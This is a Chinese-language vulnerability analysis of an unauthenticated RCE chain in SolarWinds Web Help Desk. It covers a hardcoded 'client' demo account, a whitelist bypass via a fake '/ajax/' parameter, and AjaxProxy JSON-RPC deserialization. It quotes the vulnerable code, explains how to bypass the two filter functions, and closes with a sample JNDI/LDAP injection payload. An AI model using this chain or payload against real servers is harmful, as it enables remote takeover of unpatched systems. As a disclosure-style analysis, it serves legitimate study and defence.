一、漏洞概述

SolarWinds Web Help Desk(WHD)是一款广泛应用的 IT 服务管理平台,其存在静态凭证(CVE-2025-40537)、安全防护绕过(CVE-2025-40536)、Java 反序列化(CVE-2025-40551) 三个核心漏洞。攻击者可通过链式利用这三个漏洞,实现未授权远程代码执行(RCE),危害等级为严重。该漏洞已在 WHD 2026.1 版本中修复。

二、漏洞核心成因分析

(一)静态凭证漏洞(CVE-2025-40537):默认账户硬编码

  1. 漏洞原理系统初始化时会自动创建一个用于演示的 client 账户,账户密码硬编码且未强制修改,部分场景下该账户可关联高权限技术账户。
  2. 核心代码分析
Client aClient = new Client();
insertObjectInTransaction(this, aClient);
aClient.setDeleted(Integer.valueOf(0));
aClient.setFirstName("Demo");
aClient.setLastName("Client");
aClient.setEmail("client");
aClient.setUserName("client");
// 密码硬编码为 client 并加密存储
aClient.setPassword(DigestCryptoManager.createDefaultAndEncrypt("client"));
aClient.setLocked(Integer.valueOf(0));
aClient.setSubscriber(aSubscriber);

相当于硬编码了一个默认账户,可凭借该账户获取到相应凭据

(二)安全防护绕过漏洞(CVE-2025-40536):参数白名单校验失效

  1. 漏洞原理WHD 的 checkCsrfTokenWo() 函数用于校验 CSRF 令牌和请求参数白名单,但校验逻辑存在缺陷,攻击者可通过构造虚假参数绕过限制,直接访问受限组件。
  2. 核心代码分析

if (!woRequest.uri().toLowerCase().contains("/ajax/") && woRequest.method().equalsIgnoreCase("GET")) {
    try {
        List<NameValuePair> params = URLEncodedUtils.parse(new URI(woRequest.uri()), "UTF8");
        for (NameValuePair param : params) {
            if (param.getName().matches("\\d") || param.getValue() == null) {
                continue;
            }
            if (param.getName().matches("\\d+,\\d+") || param.getName().matches("at\\d+$")) {
                continue;
            }
            // 不在白名单的参数直接拒绝
            if (!ALLOWED_PARAMETERS_FOR_GET.contains(param.getName().toLowerCase())) {
                LOGGER.error("Param {} not allowed in request {}", param.getName(), woRequest.uri());
                throw new UnsupportedOperationException("operation not allowed");
            }
        }
    } catch (Exception e) {
    }
    return;
}

该函数的校验触发条件是 URI 不包含 /ajax/ 且请求方法为 GET。攻击者只需在请求中添加虚假参数 badparam=/ajax/,即可让 URI 包含 /ajax/ 从而跳过参数白名单校验,进而使用 wopage 参数加载任意 WebObject 组件。

(三)Java 反序列化漏洞(CVE-2025-40551):AjaxProxy 组件滥用

这是实现 RCE 的核心漏洞,其利用依赖前两个漏洞的前置条件,分为三层代码缺陷。

  1. 缺陷 1:AjaxProxy 组件的 JSON-RPC 桥未做安全限制AjaxProxy 组件使用 jabsorb 库处理 JSON-RPC 请求,未限制可反序列化的类和可调用的方法,直接将用户输入作为参数执行。

    代码分析如下:
public WOActionResults handleRequest(WORequest request, WOContext context) {
    AjaxResponse ajaxResponse = AjaxUtils.createResponse(request, context);
    String inputString = request.contentString();
    JSONObject input = null;
    Object output = null;
    try {
        Object proxy;
        JSONBridge jsonBridge;
        input = new JSONObject(inputString);
        // 获取 proxy 对象,无权限校验
        if (canGetValueForBinding("proxy")) {
            proxy = valueForBinding("proxy");
        } else {
            proxy = parent();
        }
        String proxyName = (String) valueForBinding("proxyName");
        // 创建 JSON-RPC 桥,未限制注册对象
        if (canGetValueForBinding("AjaxBridge")) {
            jsonBridge = (JSONBridge) valueForBinding("AjaxBridge");
        } else {
            jsonBridge = JSONBridge.createBridge();
            setValueForBinding(jsonBridge, "AjaxBridge");
        }
        jsonBridge.registerObject(proxyName, proxy);
        // 直接处理用户输入的 JSON 数据,触发反序列化
        output = jsonBridge.callMethod(request, context, ajaxResponse, input);
    } catch (Exception e) {
        output = "method not found (session may have timed out)";
    }
    ajaxResponse.appendContentString(output.toString());
    return ajaxResponse;
}

这个是漏洞触发的底层,也就是我们最终利用的地方

终极目标:触发 AjaxProxy 组件的 JSON-RPC 桥,实现反序列化 RCE

现在就是找到一个链子来触发触发 AjaxProxy 组件的 JSON-RPC 桥,下面是我的分析思路:

现在我知道了反序列化漏洞的的利用核心是AjaxProxy 组件的 JSON-RPC 桥未做安全限制,所以我们如果能成功调用这个组件就可以实现反序列化漏洞,所以就引出了该如何去调用这个组件,而AjaxFlexibleFileUpload组件使用了AjaxProxy,所以我们只要成功调用AjaxFlexibleFileUpload就可以调用AjaxProxy,进一步我们发现LoginPref 组件使用了AjaxFlexibleFileUpload,所以我们要找到LoginPref 组件的调用方法,而“wopage”查询参数可以让我们直接访问LoginPref 组件。

整个链路:

wopage=LoginPref(绕过防护调用入口组件) → LoginPref 加载 AjaxFlexibleFileUpload → AjaxFlexibleFileUpload 触发 AjaxProxy → AjaxProxy 的 JSON-RPC 桥执行恶意反序列化

现在我们知道如何触发漏洞链子了,但是在成功执行漏洞利用链之前我们需要绕过过滤函数。

在这个漏洞中,我们还需要绕过AjaxProxy 反序列化漏洞新增的两个防御函数

sanitizeRequest() 函数和checkSuspeciousPayLoad()

  1. 缺陷 2:sanitizeRequest() 函数绕过
    函数作用: 该函数的核心目标是净化发往 AjaxProxy 的恶意请求数据,防止攻击者通过 JSON-RPC 传递危险参数触发反序列化。
    核心代码分析如下:
private static WORequest sanitizeRequest(WORequest request) {
byte[] bytes = request.content().bytes();
String requestPayload = new String(bytes);
// 仅通过 URI 包含 ajax 判断是否净化
if (request.uri().contains("ajax") && isJSON(requestPayload)) {
    String modifiedPayload = sanitizeJson(requestPayload);
    request.setContent(modifiedPayload.getBytes());
}
return request;
}

绕过思路分析:

因为 WHD 中 wo 路径与 ajax 路径的请求处理逻辑完全一致,均可触发 AjaxProxy 功能。 所以我们将URI 中的 ajax 改为 wo,即可绕过净化,直接传递恶意反序列化数据。

​

3. 缺陷 3:黑白名单校验逻辑设计缺陷checkSuspeciousPayLoad() 函数的黑名单校验可被 isWhitelisted() 函数绕过
函数作用: 该函数是恶意 payload 黑名单检测机制,用于识别并拦截包含危险特征的请求体,防止反序列化攻击。

核心代码分析如下:

private void checkSuspeciousPayLoad(WORequest request){
    byte[] bytes = request.content().bytes();
    String requestPayLoad = new String(bytes);
    // 步骤1:空 payload 直接放行
    if (StringUtils.isBlank(requestPayLoad))
        return;
    String normalizeAndDecodePayLoad = normalizeAndDecodeInput(requestPayLoad);
    // 步骤2:校验 ajax 请求 + JSON 格式 + 长度限制
    if (request.uri().contains("ajax") &&
        isJSON(normalizeAndDecodePayLoad) &&
        (normalizeAndDecodePayLoad.getBytes()).length > 1048) {
        rootLogger().error("Payload exceeds maximum allowed size for AJAX request...");
        LogSuspiciousRequestDetails(request);
        throw new MissingCsrfTokenException("invalid request.");
    }
    // 步骤3:黑名单特征检测 + 白名单放行
    if(SUSPICIOUS_PATTERNS.matcher(normalizeAndDecodePayLoad).find()){
        Matcher matcher = SUSPICIOUS_PATTERN.matcher(normalizeAndDecodePayLoad);
        matcher.find();
        String matchedKeyword = matcher.group();
        // 命中黑名单但通过白名单校验则放行
        if (matchedKeyword.startsWith("java.") && isWhitelisted(normalizeAndDecodePayLoad)) {
            rootLogger().info("whitelisted payload with matched keyword:" + matchedKeyword);
            return;
        }
        rootLogger().error("suspicious content detected...");
        LogSuspiciousRequestDetails(request);
        throw new MissingCsrfTokenException("invalid request");
    }
}
private boolean isWhitelisted(String payload) {
    List<String> patterns = Lists.of("parentpopup", "wonoselectionstring", "dummy", "mdssubmitlink", "mdsform__enterkeypressed", "mdsform__shiftkeypressed", "mdsform__altkeypressed", "_csrf");
    for (String pattern : patterns) {
        if (!payload.contains(pattern)) {
            return false;
        }
    }
    return true;
}

//payload 是否同时包含所有8个关键词,如果是就返回true

绕过分析思路:
if (matchedKeyword.startsWith("java.") && isWhitelisted(normalizeAndDecodePayLoad))

  • 黑名单检测:用 SUSPICIOUS_PATTERNS 正则匹配 payload,识别危险特征,比如 java. 开头的恶意类名。
  • 白名单放行:如果命中黑名单的 java. 特征,但 payload 满足 isWhitelisted() 函数的校验规则,就会放行该请求。

我们可以在poc中构造满足isWhitelisted() 函数的条件来绕过这个if条件,比如:

"bypass": "parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf"


OK,现在我们来总结一下漏洞利用链:

会话创建 / 静态凭证登录 → 防护绕过调用 LoginPref → LoginPref 加载 AjaxFlexibleFileUpload → AjaxFlexibleFileUpload 触发 AjaxProxy → 绕过防御机制执行恶意反序列化 → RCE


示例poc

{
    "bypass": "parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
    "id": 1,
    "method": "wopage.setVariableValueForName",
    "params": [
        "malicious",
        {
            "javaClass": "org.apache.xalan.lib.sql.JNDIConnectionPool",
            "jndiPath": "ldap://127.0.0.1/eval"
        }
    ]
}